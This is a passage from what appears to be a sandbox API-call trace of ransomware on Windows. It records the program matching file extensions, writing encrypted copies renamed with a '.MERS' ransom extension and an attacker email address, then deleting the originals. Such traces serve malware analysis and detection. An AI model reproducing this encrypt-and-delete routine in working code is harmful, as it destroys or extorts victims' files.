returned 1 [0045.061] lstrlenW (lpString=".xlsx") returned 5 [0045.061] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0045.061] lstrlenW (lpString=".ppt") returned 4 [0045.061] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString=".zip") returned 4 [0045.061] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0045.061] lstrlenW (lpString=".rar") returned 4 [0045.061] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0045.061] lstrlenW (lpString=".bz2") returned 4 [0045.061] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0045.061] lstrlenW (lpString=".7z") returned 3 [0045.061] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString=".dbf") returned 4 [0045.061] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0045.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.062] lstrlenW (lpString=".1cd") returned 4 [0045.062] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0045.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.062] lstrlenW (lpString=".jpg") returned 4 [0045.062] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0045.062] lstrcmpiW (lpString1=".ini", lpString2=".MERS") returned -1 [0045.062] lstrlenW (lpString="Desktop.ini") returned 11 [0045.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.062] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=645) returned 1 [0045.062] CloseHandle (hObject=0x1c4) returned 1 [0045.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0045.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.063] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.063] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0045.063] GetLastError () returned 0x0 [0045.063] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x285, lpOverlapped=0x0) returned 1 [0045.064] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x290, lpOverlapped=0x0) returned 1 [0045.065] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.065] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.065] SetEndOfFile (hFile=0x1e4) returned 1 [0045.065] CloseHandle (hObject=0x1e4) returned 1 [0045.065] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.066] SetEndOfFile (hFile=0x1c4) returned 1 [0045.066] CloseHandle (hObject=0x1c4) returned 1 [0045.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x26) returned 1 [0045.066] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.067] lstrlenW (lpString=".doc") returned 4 [0045.067] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0045.067] lstrlenW (lpString=".docx") returned 5 [0045.067] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0045.067] lstrlenW (lpString=".pdf") returned 4 [0045.067] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0045.067] lstrlenW (lpString=".xls") returned 4 [0045.067] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0045.067] lstrlenW (lpString=".xlsx") returned 5 [0045.067] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0045.067] lstrlenW (lpString=".ppt") returned 4 [0045.067] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.067] lstrlenW (lpString=".zip") returned 4 [0045.067] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0045.067] lstrlenW (lpString=".rar") returned 4 [0045.067] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0045.067] lstrlenW (lpString=".bz2") returned 4 [0045.067] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0045.067] lstrlenW (lpString=".7z") returned 3 [0045.067] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.067] lstrlenW (lpString=".dbf") returned 4 [0045.067] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.067] lstrlenW (lpString=".1cd") returned 4 [0045.068] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.068] lstrlenW (lpString=".jpg") returned 4 [0045.068] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.068] lstrlenW (lpString=".doc") returned 4 [0045.068] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0045.068] lstrlenW (lpString=".docx") returned 5 [0045.068] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0045.068] lstrlenW (lpString=".pdf") returned 4 [0045.068] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0045.068] lstrlenW (lpString=".xls") returned 4 [0045.068] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0045.068] lstrlenW (lpString=".xlsx") returned 5 [0045.068] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0045.068] lstrlenW (lpString=".ppt") returned 4 [0045.068] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.068] lstrlenW (lpString=".zip") returned 4 [0045.068] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0045.068] lstrlenW (lpString=".rar") returned 4 [0045.117] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0045.117] lstrlenW (lpString=".bz2") returned 4 [0045.117] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0045.117] lstrlenW (lpString=".7z") returned 3 [0045.117] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.117] lstrlenW (lpString=".dbf") returned 4 [0045.117] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.117] lstrlenW (lpString=".1cd") returned 4 [0045.117] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0045.117] lstrlenW (lpString=".jpg") returned 4 [0045.117] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0045.117] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0045.117] lstrlenW (lpString="Roses.htm") returned 9 [0045.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.256] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=233) returned 1 [0045.256] CloseHandle (hObject=0x1f8) returned 1 [0045.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0045.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.256] lstrlenW (lpString=".doc") returned 4 [0045.256] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.256] lstrlenW (lpString=".docx") returned 5 [0045.256] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0045.256] lstrlenW (lpString=".pdf") returned 4 [0045.256] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.256] lstrlenW (lpString=".xls") returned 4 [0045.256] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.256] lstrlenW (lpString=".xlsx") returned 5 [0045.257] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0045.257] lstrlenW (lpString=".ppt") returned 4 [0045.257] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.257] lstrlenW (lpString=".zip") returned 4 [0045.257] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.257] lstrlenW (lpString=".rar") returned 4 [0045.257] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.257] lstrlenW (lpString=".bz2") returned 4 [0045.257] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.257] lstrlenW (lpString=".7z") returned 3 [0045.257] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.257] lstrlenW (lpString=".dbf") returned 4 [0045.257] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.257] lstrlenW (lpString=".1cd") returned 4 [0045.257] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.257] lstrlenW (lpString=".jpg") returned 4 [0045.257] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.257] lstrlenW (lpString=".doc") returned 4 [0045.257] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.257] lstrlenW (lpString=".docx") returned 5 [0045.257] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0045.258] lstrlenW (lpString=".pdf") returned 4 [0045.258] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.258] lstrlenW (lpString=".xls") returned 4 [0045.258] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.258] lstrlenW (lpString=".xlsx") returned 5 [0045.258] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0045.258] lstrlenW (lpString=".ppt") returned 4 [0045.258] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.258] lstrlenW (lpString=".zip") returned 4 [0045.258] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.258] lstrlenW (lpString=".rar") returned 4 [0045.258] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.258] lstrlenW (lpString=".bz2") returned 4 [0045.258] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.258] lstrlenW (lpString=".7z") returned 3 [0045.258] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.258] lstrlenW (lpString=".dbf") returned 4 [0045.258] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.258] lstrlenW (lpString=".1cd") returned 4 [0045.258] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0045.258] lstrlenW (lpString=".jpg") returned 4 [0045.258] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.259] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0045.259] lstrlenW (lpString="Shorthand.emf") returned 13 [0045.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.839] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=81292) returned 1 [0045.839] CloseHandle (hObject=0x1c4) returned 1 [0045.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0045.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.839] lstrlenW (lpString=".doc") returned 4 [0045.839] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.839] lstrlenW (lpString=".docx") returned 5 [0045.840] lstrcmpiW (lpString1=".docx", lpString2="d.emf") returned -1 [0045.840] lstrlenW (lpString=".pdf") returned 4 [0045.840] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString=".xls") returned 4 [0045.840] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString=".xlsx") returned 5 [0045.840] lstrcmpiW (lpString1=".xlsx", lpString2="d.emf") returned -1 [0045.840] lstrlenW (lpString=".ppt") returned 4 [0045.840] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.840] lstrlenW (lpString=".zip") returned 4 [0045.840] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString=".rar") returned 4 [0045.840] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString=".bz2") returned 4 [0045.840] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.840] lstrlenW (lpString=".7z") returned 3 [0045.840] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.840] lstrlenW (lpString=".dbf") returned 4 [0045.840] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.840] lstrlenW (lpString=".1cd") returned 4 [0045.840] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.840] lstrlenW (lpString=".jpg") returned 4 [0045.840] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.840] lstrlenW (lpString=".doc") returned 4 [0045.840] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.840] lstrlenW (lpString=".docx") returned 5 [0045.840] lstrcmpiW (lpString1=".docx", lpString2="d.emf") returned -1 [0045.840] lstrlenW (lpString=".pdf") returned 4 [0045.840] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.840] lstrlenW (lpString=".xls") returned 4 [0045.841] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.841] lstrlenW (lpString=".xlsx") returned 5 [0045.841] lstrcmpiW (lpString1=".xlsx", lpString2="d.emf") returned -1 [0045.841] lstrlenW (lpString=".ppt") returned 4 [0045.841] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.841] lstrlenW (lpString=".zip") returned 4 [0045.841] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.841] lstrlenW (lpString=".rar") returned 4 [0045.841] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.841] lstrlenW (lpString=".bz2") returned 4 [0045.841] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.841] lstrlenW (lpString=".7z") returned 3 [0045.841] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.841] lstrlenW (lpString=".dbf") returned 4 [0045.841] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.841] lstrlenW (lpString=".1cd") returned 4 [0045.841] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0045.841] lstrlenW (lpString=".jpg") returned 4 [0045.841] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.841] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0045.841] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.865] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2985) returned 1 [0045.865] CloseHandle (hObject=0x1c4) returned 1 [0045.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0045.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.865] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.865] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.938] GetLastError () returned 0x0 [0045.938] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0xba9, lpOverlapped=0x0) returned 1 [0046.105] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0046.106] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.106] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.106] SetEndOfFile (hFile=0x1a8) returned 1 [0046.106] CloseHandle (hObject=0x1a8) returned 1 [0046.106] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.106] SetEndOfFile (hFile=0x1c4) returned 1 [0046.107] CloseHandle (hObject=0x1c4) returned 1 [0046.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0046.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0046.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString=".doc") returned 4 [0046.108] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.108] lstrlenW (lpString=".docx") returned 5 [0046.108] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.108] lstrlenW (lpString=".pdf") returned 4 [0046.108] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.108] lstrlenW (lpString=".xls") returned 4 [0046.108] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.108] lstrlenW (lpString=".xlsx") returned 5 [0046.108] lstrcmpiW (lpString1=".xlsx", 